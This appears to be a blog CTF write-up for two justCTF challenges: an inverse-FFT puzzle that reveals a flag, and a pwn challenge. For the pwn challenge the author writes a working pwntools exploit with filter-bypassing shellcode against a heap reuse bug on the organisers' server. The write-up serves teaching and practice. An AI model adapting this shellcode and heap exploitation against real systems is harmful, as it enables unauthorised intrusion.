&lt;p&gt;Let's start with &lt;strong&gt;Discreet&lt;/strong&gt;. It was a 373 points (at the time I solved it) challenge in the misc category. Here is the description of the challenge:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/1.png" /&gt;&lt;/p&gt;
&lt;p&gt;We …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last weekend I participated at the CTF organized by the &lt;a href="https://twitter.com/justCatTheFish"&gt;justCatTheFish&lt;/a&gt; team and I wanted to showcase 2 challenges that I solved.&lt;/p&gt;
&lt;p&gt;Let's start with &lt;strong&gt;Discreet&lt;/strong&gt;. It was a 373 points (at the time I solved it) challenge in the misc category. Here is the description of the challenge:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/1.png" /&gt;&lt;/p&gt;
&lt;p&gt;We can see, we're given a link to some file called "dft.out". Let's download it and see what's in it. We can use &lt;strong&gt;wget&lt;/strong&gt; for that.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget "https://justctf.fra1.digitaloceanspaces.com/510a6a1374d01f76dad2d2e95ab8c65c/dft.out"
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open it using your favourite text editor:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/2.png" /&gt;&lt;/p&gt;
&lt;p&gt;Looks like a bunch of complex numbers! We might plot them and see if we get anything. To do this we can write a quick &lt;strong&gt;python&lt;/strong&gt; script, but before that &lt;strong&gt;python&lt;/strong&gt; will give us an exception if we use &lt;strong&gt;i&lt;/strong&gt; for dealing with complex numbers, so we have to use &lt;strong&gt;j&lt;/strong&gt;, so we just need to change every occurence of &lt;strong&gt;i&lt;/strong&gt; in the file with a &lt;strong&gt;j&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
import matplotlib.pyplot as plt

points = [...]

x = []
y = []
for pt in points:
    x.append(pt.real)
    y.append(pt.imag)


plt.scatter(x, y, s=0.5)
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the part where I used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;points = [...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can just copy paste the numbers. Running this we get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/3.png" /&gt;&lt;/p&gt;
&lt;p&gt;Doesn't really say much, so we take a look at the challenge prompt again. Recalling the challenge name was "Discreet" and the prompts says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The numbers Jean, what do they mean!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Also the name of the file was "dft.out". Using these hints we might think about the &lt;a href="https://en.wikipedia.org/wiki/Discrete_Fourier_transform"&gt;Discrete Fourier Transform&lt;/a&gt;. Also "Jean" is a hint to &lt;a href="https://en.wikipedia.org/wiki/Joseph_Fourier"&gt;Joseph Fourier&lt;/a&gt;. Knowing this, we can assume that those points are from a DFT, so we can apply the &lt;a href="https://en.wikipedia.org/wiki/Discrete_Fourier_transform#Inverse_transform"&gt;Inverse FFT&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can do that using the &lt;strong&gt;numpy&lt;/strong&gt; module in python or we could write our own IFFT using the wikipedia definiton. I will showcase both solutions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Method using &lt;strong&gt;numpy&lt;/strong&gt; module.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can use the &lt;strong&gt;np.fft.ifft&lt;/strong&gt; function to apply the IFFT on the given points.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
import matplotlib.pyplot as plt
import numpy as np

points = [...]

inv_points = np.fft.ifft(points)
x = []
y = []
for pt in inv_points:
    x.append(pt.real)
    y.append(pt.imag)


plt.scatter(x, y, s=0.5)
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we get this result:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/4.png" /&gt;&lt;/p&gt;
&lt;p&gt;We can see that it's starting to look like the flag. At first, this didn't really told me anything so I tried to apply the IFFT multiple times, applying it &lt;strong&gt;3&lt;/strong&gt; times we get the inverse in time of the function. But I found out we also get a nice looking view of the points. So just apply the IFFT &lt;strong&gt;2&lt;/strong&gt; times more and plot the result and you should get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/5.png" /&gt;&lt;/p&gt;
&lt;p&gt;Nice!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;justCTF{A_handwritten_flag_appears!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Method using our own definition of IFFT.
Looking at the Wikipedia definition we can write a script somehow like this:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/code.png" /&gt;&lt;/p&gt;
&lt;p&gt;It's not perfect, but it does the job.&lt;/p&gt;
&lt;p&gt;Now on the &lt;strong&gt;Shellcode Executor Pro&lt;/strong&gt; challenge. The idea came to me right after the CTF ended, I was trying to obtain a shell when the solution was a lot easier because I didn't look for strings in the binary.&lt;/p&gt;
&lt;p&gt;It was a 283 points challenge in the &lt;strong&gt;PWN&lt;/strong&gt; category. Here is the challenge prompt:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/intre.png" /&gt;&lt;/p&gt;
&lt;p&gt;Running &lt;strong&gt;file&lt;/strong&gt; and &lt;strong&gt;checksec&lt;/strong&gt; on the binary we get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/6.png" /&gt;&lt;/p&gt;
&lt;h2&gt;Reversing&lt;/h2&gt;
&lt;p&gt;Opening it in IDA, we see some functions, and the interesting ones are &lt;em&gt;downloadShellcode&lt;/em&gt;, &lt;em&gt;createShellcode&lt;/em&gt;, &lt;em&gt;deleteShellcode&lt;/em&gt;, &lt;em&gt;verifyURL&lt;/em&gt;, &lt;em&gt;executeShellcode&lt;/em&gt;. So, let's see what they are doing.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;downloadShellcode&lt;/strong&gt;: allocates memory on the heap then calls &lt;strong&gt;fgets&lt;/strong&gt; and then calls &lt;strong&gt;verifyURL&lt;/strong&gt; on the input.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/7.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;verifyURL&lt;/strong&gt;: checks if any of the input bytes is &lt;strong&gt;&amp;lt;=9&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/8.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;createShellcode&lt;/strong&gt;: allocates memory on the heap for some kind of &lt;em&gt;name&lt;/em&gt; (the a2 pointer) and  for, what probably is, the shellcode and also stores the addresses in the pointer a1.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/9.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;deleteShellcode&lt;/strong&gt;: it &lt;strong&gt;frees&lt;/strong&gt; the chunks stored in the pointer set earlier in &lt;strong&gt;createShellcode&lt;/strong&gt; function.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/10.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;executeShellcode&lt;/strong&gt;: it takes the shellcode from the heap and executes it after running &lt;strong&gt;restrictAccess&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/11.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;restrictAccess&lt;/strong&gt;: It seems like it restricts our access to only some syscalls, and those are: 
&lt;strong&gt;rt_sigreturn&lt;/strong&gt;, &lt;strong&gt;exit&lt;/strong&gt;, &lt;strong&gt;exit_group&lt;/strong&gt;, &lt;strong&gt;read&lt;/strong&gt;, &lt;strong&gt;write&lt;/strong&gt;, &lt;strong&gt;mmap&lt;/strong&gt;, &lt;strong&gt;munmap&lt;/strong&gt;. You can check this by looking at the &lt;a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/"&gt;linux 64 bit syscall table&lt;/a&gt;.
&lt;img alt="" src="https://cristicretan.ro/images/png/12.png" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Running the binary with &lt;strong&gt;gdb&lt;/strong&gt; and going into the &lt;strong&gt;createShellcode&lt;/strong&gt; function to get the address of the shellcode that is created, we see:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/13.png" /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;rax&lt;/strong&gt; value is the value allocated on the heap and where the shellcode will be, after executing the this function we can search for the string "The flag will be here", but having in mind this address.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/14.png" /&gt;&lt;/p&gt;
&lt;p&gt;Now we see that that string, is also put onto the heap, and the addresses, they look awfully close!&lt;/p&gt;
&lt;p&gt;Analyzing further:&lt;/p&gt;
&lt;p&gt;Let's see what happens if we delete the shellcode then use the &lt;strong&gt;Download shellcode&lt;/strong&gt; option:&lt;/p&gt;
&lt;p&gt;I just introduced the number &lt;strong&gt;2&lt;/strong&gt;, to call the delete shellcode function and then &lt;strong&gt;1&lt;/strong&gt; to download the shellcode, when I was asked &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"Enter the url:"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I just entered a lot of A's, and now when examining the address for the begginning of the shellcode:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/15.png" /&gt;&lt;/p&gt;
&lt;p&gt;0x4141414141, nice! we overwritten the previous shellcode. Here is our exploit! Now, we have to bypass the &lt;strong&gt;verifyURL&lt;/strong&gt; function.&lt;/p&gt;
&lt;p&gt;We can create a shellcode that will &lt;strong&gt;write&lt;/strong&gt; to &lt;strong&gt;stdout&lt;/strong&gt; a number of bytes from the address of the shellcode, since we know that after that must be the flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
                xor rdi, rdi
                lea rsi, [rip+0x74]
                mov edx, 0x59
                mov eax, 0x1
                syscall
                ret
                ''')

print disasm(shellcode)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/16.png" /&gt;&lt;/p&gt;
&lt;p&gt;As you can see we have a lot of invalid bytes that will be detected by the &lt;strong&gt;verifyURL&lt;/strong&gt; function, but you can see that the condition for the check to stop it is to detect a null-byte, so we can insert one at the beginning of the shellcode and then we're good.&lt;/p&gt;
&lt;p&gt;Leading us to the final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
                xor al, 0x0
                xor rdi, rdi
                lea rsi, [rip+0x74]
                mov edx, 0x43
                mov eax, 0x1
                syscall
                ret
                ''')

# p = process('./shellcodeexecutor')
p = remote('46.101.173.184', 1446)
p.recvuntil('&amp;gt; ')
p.sendline('2')
p.recvuntil('&amp;gt; ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(shellcode)
p.recvuntil('&amp;gt; ')
p.sendline('3')
p.recvuntil('====================================\n')
print p.recvuntil('}')
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And receiving the flag:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/17.png" /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;justCTF{f0r_4_b3tt3r_fl4g_purch4s3_th3_full_v3rsi0n_0f_0ur_pr0duct}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Awesome!&lt;/p&gt;</content><category term="write-ups"></category><category term="CTF"></category></entry></feed>